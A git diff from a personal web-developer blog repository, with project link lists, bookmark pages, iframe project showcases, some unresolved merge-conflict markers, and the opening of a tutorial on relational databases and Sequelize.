+- [https://github.com/bgoonz/sanity-kitchen-sink5](https://github.com/bgoonz/sanity-kitchen-sink5)
+- [https://github.com/bgoonz/sanity-kitchen-sink](https://github.com/bgoonz/sanity-kitchen-sink)
+- [https://github.com/bgoonz/sanity-nuxt-events](https://github.com/bgoonz/sanity-nuxt-events)
+- [https://github.com/bgoonz/sanity-translation-examples](https://github.com/bgoonz/sanity-translation-examples)
+- [https://github.com/bgoonz/scope-closure-context](https://github.com/bgoonz/scope-closure-context)
+- [https://github.com/bgoonz/searching-bick-n-borty-api](https://github.com/bgoonz/searching-bick-n-borty-api)
+- [https://github.com/bgoonz/site-analysis](https://github.com/bgoonz/site-analysis)
+- [https://github.com/bgoonz/smart-artichoke](https://github.com/bgoonz/smart-artichoke)
+- [https://github.com/bgoonz/Standalone-Metranome](https://github.com/bgoonz/Standalone-Metranome)
+- [https://github.com/bgoonz/starter](https://github.com/bgoonz/starter)
+- [https://github.com/bgoonz/successful-cabbage](https://github.com/bgoonz/successful-cabbage)
+- [https://github.com/bgoonz/Ternary-converter](https://github.com/bgoonz/Ternary-converter)
+- [https://github.com/bgoonz/terrific-dolphin](https://github.com/bgoonz/terrific-dolphin)
+- [https://github.com/bgoonz/TetrisJS](https://github.com/bgoonz/TetrisJS)
+- [https://github.com/bgoonz/TexTools](https://github.com/bgoonz/TexTools)
+- [https://github.com/bgoonz/vscode-Extension-readmes](https://github.com/bgoonz/vscode-Extension-readmes)
+- [https://github.com/bgoonz/web-dev-interview-prep-quiz-website](https://github.com/bgoonz/web-dev-interview-prep-quiz-website)
+- [https://github.com/bgoonz/web-dev-notes-backup](https://github.com/bgoonz/web-dev-notes-backup)
+- [https://github.com/bgoonz/week-10-take-2](https://github.com/bgoonz/week-10-take-2)
+- [https://github.com/bgoonz/yellowcake-mailchimp](https://github.com/bgoonz/yellowcake-mailchimp)
+- [https://github.com/bgoonz/zumzi-chat-messenger](https://github.com/bgoonz/zumzi-chat-messenger)
+- [https://github.com/my-lambda-projects/peer](https://github.com/my-lambda-projects/peer)
+- [https://github.com/side-projects-42/DS-Bash-Examples-Deploy](https://github.com/side-projects-42/DS-Bash-Examples-Deploy)
+- [https://github.com/side-projects-42/friendly-panda](https://github.com/side-projects-42/friendly-panda)
+- [https://github.com/side-projects-42/superb-celery](https://github.com/side-projects-42/superb-celery)
+- [https://github.com/stackbit-projects/best-celery-b2d7c](https://github.com/stackbit-projects/best-celery-b2d7c)
+- [https://github.com/stackbit-projects/curious-rabbit-f33af](https://github.com/stackbit-projects/curious-rabbit-f33af)
+- [https://github.com/stackbit-projects/oceanic-pluto-4029d](https://github.com/stackbit-projects/oceanic-pluto-4029d)
+- [https://github.com/stackbit-projects/splendid-onion-b0ec3](https://github.com/stackbit-projects/splendid-onion-b0ec3)
+- [https://github.com/Web-Dev-Collaborative/fractions-visualizations-n-resources](https://github.com/Web-Dev-Collaborative/fractions-visualizations-n-resources)
+- [https://gitlab.com/bryan.guner.dev/algo-prac](https://gitlab.com/bryan.guner.dev/algo-prac)
+- [https://gitlab.com/bryan.guner.dev/one-click-hugo-cms](https://gitlab.com/bryan.guner.dev/one-click-hugo-cms)
+- [https://gitlab.com/bryan.guner.dev/starter-hugo-online-course](https://gitlab.com/bryan.guner.dev/starter-hugo-online-course)
+- [https://goofy-curran-95aa66](https://goofy-curran-95aa66.netlify.app)
+- [https://gracious-raman-474030](https://gracious-raman-474030.netlify.app)
+- [https://happy-mestorf-0f8e75](https://happy-mestorf-0f8e75.netlify.app)
+- [https://hardcore-hamilton-c5b45e](https://hardcore-hamilton-c5b45e.netlify.app)
+- [https://hardcore-lamport-7eb855](https://hardcore-lamport-7eb855.netlify.app)
+- [https://hopeful-shockley-150bee](https://hopeful-shockley-150bee.netlify.app)
+- [https://hugo-cms-42](https://hugo-cms-42.netlify.app)
+- [https://hungry-shaw-30d504](https://hungry-shaw-30d504)
+- [https://iframeshowcase](https://iframeshowcase.netlify.app)
+- [https://interesting-aspen-ce986](https://interesting-aspen-ce986.netlify.app)
+- [https://jovial-agnesi-8ec8b1](https://jovial-agnesi-8ec8b1.netlify.app)
+- [https://jovial-keller-063835](https://jovial-keller-063835.netlify.app)
+- [https://keen-williams-48be7c](https://keen-williams-48be7c)
+- [https://kguner-fractions-website](https://kguner-fractions-website.netlify.app)
+- [https://kind-petunia-e8f9f](https://kind-petunia-e8f9f.netlify.app)
+- [https://lambda-prep](https://lambda-prep.netlify.app)
+- [https://lambda-resources](https://lambda-resources.netlify.app)
+- [https://learning-redux42](https://learning-redux42)
+- [https://links4242](https://links4242.netlify.app)
+- [https://live-form](https://live-form.netlify.app)
+- [https://marvelous-aluminum-11a84](https://marvelous-aluminum-11a84.netlify.app)
+- [https://meditate42app](https://meditate42app.netlify.app)
+- [https://memes42069](https://memes42069.netlify.app)
+- [https://mihirbeg28](https://mihirbeg28.netlify.app)
+- [https://mihirbegmusiclab](https://mihirbegmusiclab.netlify.app)
+- [https://mihirbegmusic](https://mihirbegmusic.netlify.app)
+- [https://modest-booth-4e17df](https://modest-booth-4e17df.netlify.app)
+- [https://nervous-swartz-0ab2cc](https://nervous-swartz-0ab2cc.netlify.app)
+- [https://norwex-next-js](https://norwex-next-js.netlify.app)
+- [https://objective-rosalind-d4ff71](https://objective-rosalind-d4ff71.netlify.app)
+- [https://objective-torvalds-1c12dd](https://objective-torvalds-1c12dd.netlify.app)
+- [https://optimistic-curie-ddd352](https://optimistic-curie-ddd352.netlify.app)
+- [https://oval-cabbage-354f6](https://oval-cabbage-354f6.netlify.app)
+- [https://pedantic-wing-adbf82](https://pedantic-wing-adbf82.netlify.app)
+- [https://portfolio42](https://portfolio42.netlify.app)
+- [https://potluck-landing](https://potluck-landing.netlify.app)
+- [https://priceless-shaw-86ccb2](https://priceless-shaw-86ccb2.netlify.app)
+- [https://project-portfolio42](https://project-portfolio42.netlify.app)
+- [https://project-showcase-bgoonz](https://project-showcase-bgoonz.netlify.app)
+- [https://py-prac-42](https://py-prac-42.netlify.app)
+- [https://python-playground42](https://python-playground42.netlify.app)
+- [https://python-playground43](https://python-playground43)
+- [https://quirky-meninsky-4181b5](https://quirky-meninsky-4181b5.netlify.app)
+- [https://random-embedable-content](https://random-embedable-content.netlify.app)
+- [https://random-static-html-deploys](https://random-static-html-deploys.netlify.app)
+- [https://react-blog-1](https://react-blog-1.netlify.app)
+- [https://recursion-prompts](https://recursion-prompts.netlify.app)
+- [https://resourcerepo2](https://resourcerepo2)
+- [https://romantic-hamilton-514b79](https://romantic-hamilton-514b79.netlify.app)
+- [https://sad-ramanujan-235384](https://sad-ramanujan-235384)
+- [https://sanity-catalyst-studio-njajg3jt](https://sanity-catalyst-studio-njajg3jt.netlify.app)
+- [https://sanity-catalyst-web-1zjgvx2t](https://sanity-catalyst-web-1zjgvx2t)
+- [https://sanity-commercelayer-1-studio-rkmntw55](https://sanity-commercelayer-1-studio-rkmntw55.netlify.app)
+- [https://sanity-commercelayer-1-web](https://sanity-commercelayer-1-web)
+- [https://sanity-commercelayer-studio-nzbh7yx7](https://sanity-commercelayer-studio-nzbh7yx7)
+- [https://sanity-commercelayer-web-56265s29](https://sanity-commercelayer-web-56265s29.netlify.app)
+- [https://sanity-gatsby-blog-3-studio-ch48ysi1](https://sanity-gatsby-blog-3-studio-ch48ysi1.netlify.app)
+- [https://sanity-gatsby-blog-3-web-dnkdb4p7](https://sanity-gatsby-blog-3-web-dnkdb4p7.netlify.app)
+- [https://sanity-gatsby-blog-4-studio-p6qrh84r](https://sanity-gatsby-blog-4-studio-p6qrh84r.netlify.app)
+- [https://sanity-gatsby-blog-4-web-mobyn8k4](https://sanity-gatsby-blog-4-web-mobyn8k4.netlify.app)
+- [https://sanity-gatsby-blog-studio-m195df5o](https://sanity-gatsby-blog-studio-m195df5o.netlify.app)
+- [https://sanity-gatsby-blog-web-skwx3b17](https://sanity-gatsby-blog-web-skwx3b17.netlify.app)
+- [https://sanity-gatsby-hey-sugar-2-studio-1dm9vw5o](https://sanity-gatsby-hey-sugar-2-studio-1dm9vw5o)
+- [https://sanity-gatsby-hey-sugar-2-web](https://sanity-gatsby-hey-sugar-2-web.netlify.app)
+- [https://sanity-gatsby-hey-sugar-5-studio](https://sanity-gatsby-hey-sugar-5-studio.netlify.app)
+- [https://sanity-gatsby-hey-sugar-5](https://sanity-gatsby-hey-sugar-5.netlify.app)
+- [https://sanity-gatsby-hey-sugar-studio-rkg94h5e](https://sanity-gatsby-hey-sugar-studio-rkg94h5e.netlify.app)
+- [https://sanity-gatsby-hey-sugar-web-666eqtdv](https://sanity-gatsby-hey-sugar-web-666eqtdv)
+- [https://sanity-gatsby-portfolio-3-studio-bit6zuzq](https://sanity-gatsby-portfolio-3-studio-bit6zuzq.netlify.app)
+- [https://sanity-gatsby-portfolio-3-web-4dmiq19t](https://sanity-gatsby-portfolio-3-web-4dmiq19t)
+- [https://sanity-gatsby-portfolio-studio-89chyji1](https://sanity-gatsby-portfolio-studio-89chyji1.netlify.app)
+- [https://sanity-gatsby-portfolio-web-1wwhtk8k](https://sanity-gatsby-portfolio-web-1wwhtk8k.netlify.app)
+- [https://sanity-jigsaw-blog-studio-mgk1nds9](https://sanity-jigsaw-blog-studio-mgk1nds9.netlify.app)
+- [https://sanity-jigsaw-blog-web-cy6y69s7](https://sanity-jigsaw-blog-web-cy6y69s7)
+- [https://sanity-kitchen-sink-2-studio-71rv9mea](https://sanity-kitchen-sink-2-studio-71rv9mea.netlify.app)
+- [https://sanity-kitchen-sink-2-web-p1dc8gro](https://sanity-kitchen-sink-2-web-p1dc8gro)
+- [https://sanity-kitchen-sink-3-studio-qpaz93e3](https://sanity-kitchen-sink-3-studio-qpaz93e3.netlify.app)
+- [https://sanity-kitchen-sink-3-web-v2fb8vmv](https://sanity-kitchen-sink-3-web-v2fb8vmv)
+- [https://sanity-kitchen-sink-5-studio-9hogian6](https://sanity-kitchen-sink-5-studio-9hogian6)
+- [https://sanity-kitchen-sink-5-web](https://sanity-kitchen-sink-5-web.netlify.app)
+- [https://sanity-kitchen-sink-studio-us5ymc5z](https://sanity-kitchen-sink-studio-us5ymc5z.netlify.app)
+- [https://sanity-kitchen-sink-web-geaa75ie](https://sanity-kitchen-sink-web-geaa75ie.netlify.app)
+- [https://sanity-nuxt-events-studio-zd46wiji](https://sanity-nuxt-events-studio-zd46wiji.netlify.app)
+- [https://sanity-nuxt-events-web-i78cd7mw](https://sanity-nuxt-events-web-i78cd7mw.netlify.app)
+- [https://sanity-signup](https://sanity-signup.netlify.app)
+- [https://sanity-translation-examples-studio-u93wc5ox](https://sanity-translation-examples-studio-u93wc5ox.netlify.app)
+- [https://scopeclosurecontext](https://scopeclosurecontext.netlify.app)
+- [https://side-bar-blog-4](https://side-bar-blog-4.netlify.app)
+- [https://sidebar-blog](https://sidebar-blog.netlify.app)
+- [https://silly-lichterman-b22b5f](https://silly-lichterman-b22b5f)
+- [https://site-analysis](https://site-analysis.netlify.app)
+- [https://splendid-onion-b0ec3](https://splendid-onion-b0ec3.netlify.app)
+- [https://starter-520d2](https://starter-520d2.netlify.app)
+- [https://stupefied-wilson-2bc726](https://stupefied-wilson-2bc726.netlify.app)
+- [https://synth-music-theory](https://synth-music-theory.netlify.app)
+- [https://ternary42](https://ternary42.netlify.app)
+- [https://tetris42](https://tetris42.netlify.app)
+- [https://thealgorithms](https://thealgorithms)
+- [https://trusting-aryabhata-e5438d](https://trusting-aryabhata-e5438d.netlify.app)
+- [https://unruffled-bhabha-2ea500](https://unruffled-bhabha-2ea500.netlify.app)
+- [https://upbeat-mayer-92c10b](https://upbeat-mayer-92c10b.netlify.app)
+- [https://vibrant-noether-dbe366](https://vibrant-noether-dbe366.netlify.app)
+- [https://web-dev-interview-prep-quiz-website](https://web-dev-interview-prep-quiz-website.netlify.app)
+- [https://web-dev-resource-hub](https://web-dev-resource-hub.netlify.app)
+- [https://wizardly-hermann-c9ade8](https://wizardly-hermann-c9ade8.netlify.app)
+- [https://wonderful-pasteur-392fbe](https://wonderful-pasteur-392fbe.netlify.app)
+- [https://zen-bhabha-bd046f](https://zen-bhabha-bd046f.netlify.app)
diff --git a/src/pages/docs/community/bookmarks.md b/src/pages/docs/community/bookmarks.md
index ff7b44ecd6..af066e8871 100644
--- a/src/pages/docs/community/bookmarks.md
+++ b/src/pages/docs/community/bookmarks.md
@@ -17,6 +17,7 @@ template: docs
 
 <!-- code_chunk_output -->
 
+<<<<<<< HEAD
 - [Bookmarks](#bookmarks)
     - [NORWEX](#norwex)
     - [RESOURCES](#resources)
@@ -29,6 +30,20 @@ template: docs
     - [MISC](#misc)
     - [AMAZINGGGG](#amazingggg)
     - [free-stuff](#free-stuff)
+=======
+-   [Bookmarks](#bookmarks)
+    -   [NORWEX](#norwex)
+    -   [RESOURCES](#resources)
+    -   [a/A](#aa)
+    -   [netlify](#netlify)
+    -   [PYTHON](#python)
+    -   [React-Redux](#react-redux)
+    -   [AMAZON](#amazon)
+    -   [GITHUB](#github)
+    -   [MISC](#misc)
+    -   [AMAZINGGGG](#amazingggg)
+    -   [free-stuff](#free-stuff)
+>>>>>>> master
 
 <!-- /code_chunk_output -->
 
@@ -327,9 +342,19 @@ template: docs
 
 ---
 
+<<<<<<< HEAD
 <br>
 
 ### NORWEX {#norwex add_date="1640716651" last_modified="1640717143"}
+=======
+<details>
+
+<summary> NORWEX </summary>
+
+<br>
+
+### Projects
+>>>>>>> master
 
 -   [✅] [_**Clusters \| Atlas: MongoDBAtlas**_](https://cloud.mongodb.com/v2/602ab21c5ea9a66164cb9ea6#clusters)
 -   [✅] [_**sample-react - DigitalOcean AppPlatform**_](https://cloud.digitalocean.com/apps/2dbced50-862f-4cc5-ad63-2d4ce73e7591?i=cf4d7b)
@@ -447,11 +472,24 @@ template: docs
 -   [✅] [_**Abu Sayed -- Best Web, Game, XR \| Developer \| Engineer \|BANGLADESH**_](https://sayed.cyou/#resume)
     <br>
 
+<<<<<<< HEAD
+=======
+</details>
+
+>>>>>>> master
 ---
 
 <br>
 
+<<<<<<< HEAD
 ### RESOURCES {#resources add_date="1640717067" last_modified="1640718980"}### Lambda {#lambda add_date="1640716651" last_modified="1640717406"}
+=======
+<details>
+
+<summary>RESOURCES  </summary>
+
+### RESOURCES
+>>>>>>> master
 
 -   [✅] [_**JavaScript Guide**_](http://javascriptguide.herokuapp.com/)
 -   [✅] [_**App Academy Open**_](https://open.appacademy.io/login)
@@ -675,6 +713,11 @@ template: docs
 -   [✅] [_**gs://potluck - GoogleSearch**_](https://www.google.com/search?q=gs%3A%2F%2Fpotluck&oq=gs%3A%2F%2Fpotluck&aqs=chrome..69i57j69i58.604j0j7&sourceid=chrome&ie=UTF-8)
     <br>
 
+<<<<<<< HEAD
+=======
+</details>
+
+>>>>>>> master
 ---
 
 <br>
@@ -1076,7 +1119,11 @@ template: docs
 -   [✅] [_**Cheat Sheets - MyDocs**_](https://bryan-guner.gitbook.io/my-docs/v/cheat-sheets/?q=)
 -   [✅] [_**Home -Post-Bootcamp-Job-Search**_](https://bryan-guner.gitbook.io/copy-of-job-search-1/)
 -   [✅] [_**Introduction - MyDocs**_](https://bryan-guner.gitbook.io/my-docs/v/snippets/)
+<<<<<<< HEAD
 -   [✅] [_**Web-Dev-Hub**_](https://bgoonzblog20master.gatsbyjs.io/)
+=======
+-   [✅] [_**Web-Dev-Hub**_](https://bgoonzblog20master.gtsb.io/)
+>>>>>>> master
 -   [✅] [_**bgoonz/pure-markdown-blog**_](https://github.com/bgoonz/pure-markdown-blog)
 -   [✅] [_**SyntaxError: Unexpected token - } catch { · Issue \#13838 ·eslint/eslint**_](https://github.com/eslint/eslint/issues/13838)
 -   [✅] [_**Visual Studio Code - Terminal Blank Screen - StackOverflow**_](https://stackoverflow.com/questions/54092486/visual-studio-code-terminal-blank-screen)
@@ -1120,7 +1167,11 @@ template: docs
 -   [✅] [_**Introducing our new navigation \| AlgoliaBlog**_](https://www.algolia.com/blog/product/introducing-our-new-navigation/?utm_medium=page_link&utm_source=dashboard)
 -   [✅] [_**IndeedResume**_](https://resumecontacts.indeed.com/contacted/interested?rAKey=f1567b217820b5d4&sAKey=8cae3679df59469e&uid=1flsslcd2mvoh800&ecmi=%3C1flsslcd2mvoh800%40indeedemail.com%3E&h=e435741e82904126b7285e8a42565127&hl=en&co=US&el=en_US&name=Michael+Mcarthy&company=Capital+One&jt=Software+Engineer+Full+Stack&mailAgent=MESSAGES__WEB)
 -   [✅] [_**Gatsby-Experiments/package.json at439a322efc543abb21471db2dbb18361e460ec98 ·bgoonz/Gatsby-Experiments**_](https://github.com/bgoonz/Gatsby-Experiments/blob/439a322efc543abb21471db2dbb18361e460ec98/package.json)
+<<<<<<< HEAD
 -   [✅] [_**Tools**_](https://bgoonzblog20master.gatsbyjs.io/docs/tools/)
+=======
+-   [✅] [_**Tools**_](https://bgoonzblog20master.gtsb.io/docs/tools/)
+>>>>>>> master
 -   [✅] [_**Stackbit App**_](https://app.stackbit.com/dashboard)
 -   [✅] [_**Comparing preview\...master ·bgoonz/BGOONZ_BLOG_2.0**_](https://github.com/bgoonz/BGOONZ_BLOG_2.0/compare/preview...master)
 -   [✅] [_**Pull requests ·bgoonz/BGOONZ_BLOG_2.0**_](https://github.com/bgoonz/BGOONZ_BLOG_2.0/pulls)
@@ -1945,7 +1996,11 @@ template: docs
 -   [✅] [_**Text-Shadow Exposed: Make cool and clever text effects with csstext-shadow ¦kremalicious**_](https://kremalicious.com/make-cool-and-clever-text-effects-with-css-text-shadow)
 -   [✅] [_**javascript you could add to any html page - GoogleSearch**_](https://www.google.com/search?sxsrf=ALeKk00GsCpoNdbGMrR03FlrgOrmApOpLw%3A1611975508435&ei=VMsUYJiPGqfG5gKzpp-QCQ&q=javascript+you+could+add+to+any+html+page&oq=javascript+you+could+add+to+any+html+page&gs_lcp=CgZwc3ktYWIQAzIFCCEQqwIyBQghEKsCMgUIIRCrAjoECAAQRzoECCMQJzoFCAAQkQI6BAgAEEM6CwguELEDEIMBEIsDOg4ILhCxAxDHARCjAhCLAzoICAAQsQMQiwM6FAguELEDEIMBEIsDEKgDEJsDEJoDOgcIABBDEIsDOhQILhCxAxCDARCLAxCoAxCaAxCbAzoHCAAQsQMQQzoLCAAQsQMQgwEQiwM6CggAELEDEEMQiwM6AggAOggIABAWEAoQHjoGCAAQFhAeOggIIRAWEB0QHjoFCCEQoAFQwSRY_39g_oEBaAJwBXgAgAGzA4gBoyuSAQo3LjMwLjMuMC4xmAEAoAEBqgEHZ3dzLXdpesgBCLgBAsABAQ&sclient=psy-ab&ved=0ahUKEwiYicTc1MLuAhUno1kKHTPTB5IQ4dUDCA0&uact=5)
 -   [✅] [_**Share Buttons - AddToAny**_](https://www.addtoany.com/buttons/)
+<<<<<<< HEAD
 -   [✅] [_**Share \"https://goofy-euclid-1cd736.netlify.app/\" -AddToAny**_](https://www.addtoany.com/share#url=https%3A%2F%2Fgoofy-euclid-1cd736.netlify.app%2F)
+=======
+-   [✅] [_**Share \"https://bgoonzblog20master.gtsb.io/docs/sitemap\" -AddToAny**_](https://www.addtoany.com/share#url=https%3A%2F%2Fgoofy-euclid-1cd736.netlify.app%2F)
+>>>>>>> master
 -   [✅] [_**How Javascript Implementation Adds Dynamic Interactivity \|Pluralsight**_](https://www.pluralsight.com/guides/how-javascript-implementation-adds-dynamic-interactivity)
 -   [✅] [_**Editing bgoonz/README.md at master ·bgoonz/bgoonz**_](https://github.com/bgoonz/bgoonz/edit/master/README.md)
 -   [✅] [_**Add a \'Like\' Button to Your Blogposts Using This Simple JavaScriptTechnique \| London Academy ofIT**_](https://www.londonacademyofit.co.uk/blog/add-like-button-blogposts-simple-javascript)
@@ -2634,7 +2689,11 @@ template: docs
 -   [✅] [_**Internet Archive: Digital Library of Free & Borrowable Books, Movies,Music & Wayback Machine**_](https://archive.org/)
 -   [✅] [_**Commits ·BrentOzarULTD/BrentOzar.com-Demos**_](https://github.com/BrentOzarULTD/BrentOzar.com-Demos/commits?author=BrentOzar)
 -   [✅] [_**SQL ConstantCare® - Brent OzarUnlimited®**_](https://www.brentozar.com/sql-constantcare/)
+<<<<<<< HEAD
 -   [✅] [_**Web Development ResourcesSite**_](https://web-dev-hub.com/2021/05/05/585/comment-page-1/?unapproved=1&moderation-hash=63c29acaf8530be4e2d08321f02915b9#comment-1)
+=======
+-   [✅] [_**Web Development ResourcesSite**_](https://bgoonz-blog.netlify.app/2021/05/05/585/comment-page-1/?unapproved=1&moderation-hash=63c29acaf8530be4e2d08321f02915b9#comment-1)
+>>>>>>> master
 -   [✅] [_**stack overflow postgres database - GoogleSearch**_](https://www.google.com/search?q=stack+overflow+postgres+database&oq=stack+overflow+postgres+database&aqs=chrome..69i57j69i64l2.6496j0j7&sourceid=chrome&ie=UTF-8)
 -   [✅] [_**stackoverflow-to-postgresql.pdf**_](https://www.bortzmeyer.org/stackoverflow-to-postgresql.pdf)
 -   [✅] [_**Improve database performance with connection pooling - Stack OverflowBlog**_](https://stackoverflow.blog/2020/10/14/improve-database-performance-with-connection-pooling/)
diff --git a/src/pages/docs/content/algo.md b/src/pages/docs/content/algo.md
index b6545fd655..7b39377373 100644
--- a/src/pages/docs/content/algo.md
+++ b/src/pages/docs/content/algo.md
@@ -1407,7 +1407,12 @@ Graph
 
     //below uses the adjacency list representation.
 
+<<<<<<< HEAD
 ```js
+=======
+````js
+//
+>>>>>>> master
         function Graph() {
           this.vertices = [];
           this.edges = [];
@@ -1564,4 +1569,4 @@ Graph
         console.log('graph size (number of vertices):', graph.size()); // => 5
         console.log('graph relations (number of edges):', graph.relations()); // => 4
         console.log('path from 6 to 1:', graph.pathFromTo(6, 1)); // => 6-4-3-2-1
-```
+````
diff --git a/src/pages/docs/content/backup-of-this-website/index.md b/src/pages/docs/content/backup-of-this-website/index.md
new file mode 100644
index 0000000000..ec40b595ba
--- /dev/null
+++ b/src/pages/docs/content/backup-of-this-website/index.md
@@ -0,0 +1,8 @@
+---
+title: Backup Of This Website
+template: docs
+excerpt: Link for this backup
+---
+[**Website Backup**](https://app.box.com/s/gjls3z2e6lqx595tadegrhhvnaxv5fgp) 
+
+ <iframe src="https://app.box.com/embed/s/gjls3z2e6lqx595tadegrhhvnaxv5fgp?sortColumn=name&view=icon" width="100%" height="650" frameborder="0" allowfullscreen webkitallowfullscreen msallowfullscreen></iframe> 
\ No newline at end of file
diff --git a/src/pages/docs/content/bookmarks.md b/src/pages/docs/content/bookmarks.md
new file mode 100644
index 0000000000..fe47b7db1e
--- /dev/null
+++ b/src/pages/docs/content/bookmarks.md
@@ -0,0 +1,26 @@
+---
+title: recent bookmarks
+weight: 0
+excerpt: Some of my recent pet bookmarks
+seo:
+    title: 'recent bookmarks'
+    description: 'Some of my recent pet bookmarks'
+    robots: []
+    extra: []
+    type: stackbit_page_meta
+template: docs
+---
+
+
+
+
+
+
+<br>
+<br>
+<h1>Bgoonz Bookmarks   </h1>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://bgoonz-bookmarks.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
diff --git a/src/pages/docs/content/gists.md b/src/pages/docs/content/gists.md
index 28c654113c..01d18cfe57 100644
--- a/src/pages/docs/content/gists.md
+++ b/src/pages/docs/content/gists.md
@@ -99,7 +99,11 @@ hashDirIn(pathB);
 
 > will replace any spaces in file names with an underscore!
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
  for file in *; do mv "$file" `echo $file | tr ' ' '_'` ; done
   ## TAKING IT A STEP FURTHER:
diff --git a/src/pages/docs/content/main-projects.md b/src/pages/docs/content/main-projects.md
index a02b310105..70ef8ff3bf 100644
--- a/src/pages/docs/content/main-projects.md
+++ b/src/pages/docs/content/main-projects.md
@@ -1,16 +1,17 @@
 ---
 title: RECENT PROJECTS
 weight: 0
-excerpt: embedded utilities
+excerpt: Some of my recent pet projects
 seo:
-    title: ''
-    description: ''
+    title: 'RECENT PROJECTS'
+    description: 'Some of my recent pet projects'
     robots: []
     extra: []
     type: stackbit_page_meta
 template: docs
 ---
 
+<<<<<<< HEAD
 <br>
 <br>
 <br>
@@ -28,6 +29,24 @@ template: docs
 <br>
 <br>
 <hr>
+=======
+
+
+
+<br>
+<br>
+
+<h1>  Potluck Planner </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://potluck-landing.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+
+<br>
+<br>
+
+
+
+>>>>>>> master
 <br>
 <br>
 <br>
@@ -43,6 +62,7 @@ template: docs
 
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://mihirbeg28.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
 
+<<<<<<< HEAD
 <br>
 <br>
 <hr>
@@ -50,12 +70,21 @@ template: docs
 <br>
 <br>
 <br>
+=======
+
+<br>
+<br>
+
+
+
+>>>>>>> master
 
 <h1>React & Shopify Ecommerce Site (Norwex)     </h1>
 <br>
 
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://friendly-amaranth-51833.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
 
+<<<<<<< HEAD
 <br>
 <br>
 <hr>
@@ -73,10 +102,20 @@ template: docs
 <br>
 <br>
 <hr>
+=======
+
 <br>
 <br>
+
+
+
+
+>>>>>>> master
 <br>
 <br>
+
+
+
 <br>
 <br>
 <h1>Goal Tracker  </h1>
@@ -85,5 +124,14 @@ template: docs
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://splendid-onion-b0ec3.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
 
 <br>
+<<<<<<< HEAD
 <hr>
+=======
+
+
+<br>
+<br>
+
+
+>>>>>>> master
 <br>
diff --git a/src/pages/docs/content/relational-databases.md b/src/pages/docs/content/relational-databases.md
new file mode 100644
index 0000000000..a13b337185
--- /dev/null
+++ b/src/pages/docs/content/relational-databases.md
@@ -0,0 +1,1283 @@
+---
+title: Everything You Need To Know About Relational Databases
+template: docs
+excerpt: For Front end developers who like myself struggle with making the jump
+  to fullstack.
+---
+# Everything You Need To Know About Relational Databases, SQL, PostgreSQL and Sequelize To Build…
+
+For Front end developers who like myself struggle with making the jump to fullstack.
+
+---
+
+#### <a href="http://medium.com/codex" class="markup--anchor markup--h4-anchor">CODEX</a>
+
+### **Everything You Need To Know About Relational Databases, SQL, PostgreSQL and Sequelize To Build Your Backend!**
+
+<figure><img src="https://cdn-images-1.medium.com/max/800/0*3wDVBrK5ltmjjVSJ.jpeg" class="graf-image" /></figure>**For Front end developers who like myself struggle with making the jump to fullstack.**
+
+You can access and query the data using the findByPk, findOne, and findAll methods.
+
+**Terminology:**
+
+- <span id="c63a"><a href="https://nodejs.org/en/" class="markup--anchor markup--li-anchor">NodeJS</a> We re going to use this to run JavaScript code on the server. I ve decided to use the latest version of Node, v6.3.0 at the time of writing, so that we ll have access to most of the new features introduced in ES6.</span>
+- <span id="11a6"><a href="https://expressjs.com/" class="markup--anchor markup--li-anchor">Express</a> As per their website, Express is a Fast, unopinionated, minimalist web framework for Node.js , that we re going to be building our Todo list application on.</span>
+- <span id="5808"><a href="https://www.postgresql.org/docs/9.5/static/index.html" class="markup--anchor markup--li-anchor">PostgreSQL</a> This is a powerful open-source database that we re going to use. I ve attached an article I published on the setup below!</span>
+
+<a href="https://bryanguner.medium.com/postgresql-setup-for-windows-wsl-ubuntu-801672ab7089" class="markup--anchor markup--p-anchor" title="https://bryanguner.medium.com/postgresql-setup-for-windows-wsl-ubuntu-801672ab7089"><strong>PostgreSQL Setup For Windows &amp; WSL/Ubuntu</strong><br />
+<em>If you follow this guide to a tee you will install PostgreSQL itself on your Windows installation. Then, you will</em> bryanguner.medium.com</a>
+
+- <span id="bb49">However, if you face issues while installing PostgreSQL, or you don t want to dive into installing it, you can opt for a version of PostgreSQL hosted online. I recommend <a href="https://www.elephantsql.com/" class="markup--anchor markup--li-anchor">ElephantSQL</a>. I found it s pretty easy to get started with. However, the free version will only give you a 20MB allowance.</span>
+- <span id="539a"><a href="http://docs.sequelizejs.com/en/latest/" class="markup--anchor markup--li-anchor">Sequelize</a> In addition, we re going to use Sequelize, which is a database <a href="https://en.wikipedia.org/wiki/Object-relational_mapping" class="markup--anchor markup--li-anchor">ORM</a> that will interface with the Postgres database for us.</span>
+
+**RDBMS and Database Entities**
+
+**Define what a relational database management system is**
+
+- <span id="6529">RDBMS stands for Relational Database Management System</span>
+- <span id="6d7e">A software application that you run that your programs can connect to so that they can store, modify, and retrieve data.</span>
+- <span id="79d9">An RDBMS can track many databases. We will use PostgreSQL, or postgres , primarily for our RDBMS and it will be able to create individual databases for each of our projects.</span>
+
+**Describe what relational data is**
+
+- <span id="d8fd">In general, relational data is information that is connected to other pieces of information.</span>
+- <span id="2fa8">When working with relational databases, we can connect two entries together utilizing foreign keys (explained below).</span>
+- <span id="e199">In a pets database, we could be keeping track of dogs and cats as well as the toys that each of them own. That ownership of a cat to a toy is the relational aspect of relational data. Two pieces of information that can be connected together to show some sort of meaning.</span>
+
+**Define what a database is**
+
+- <span id="06fe">The actual location that data is stored.</span>
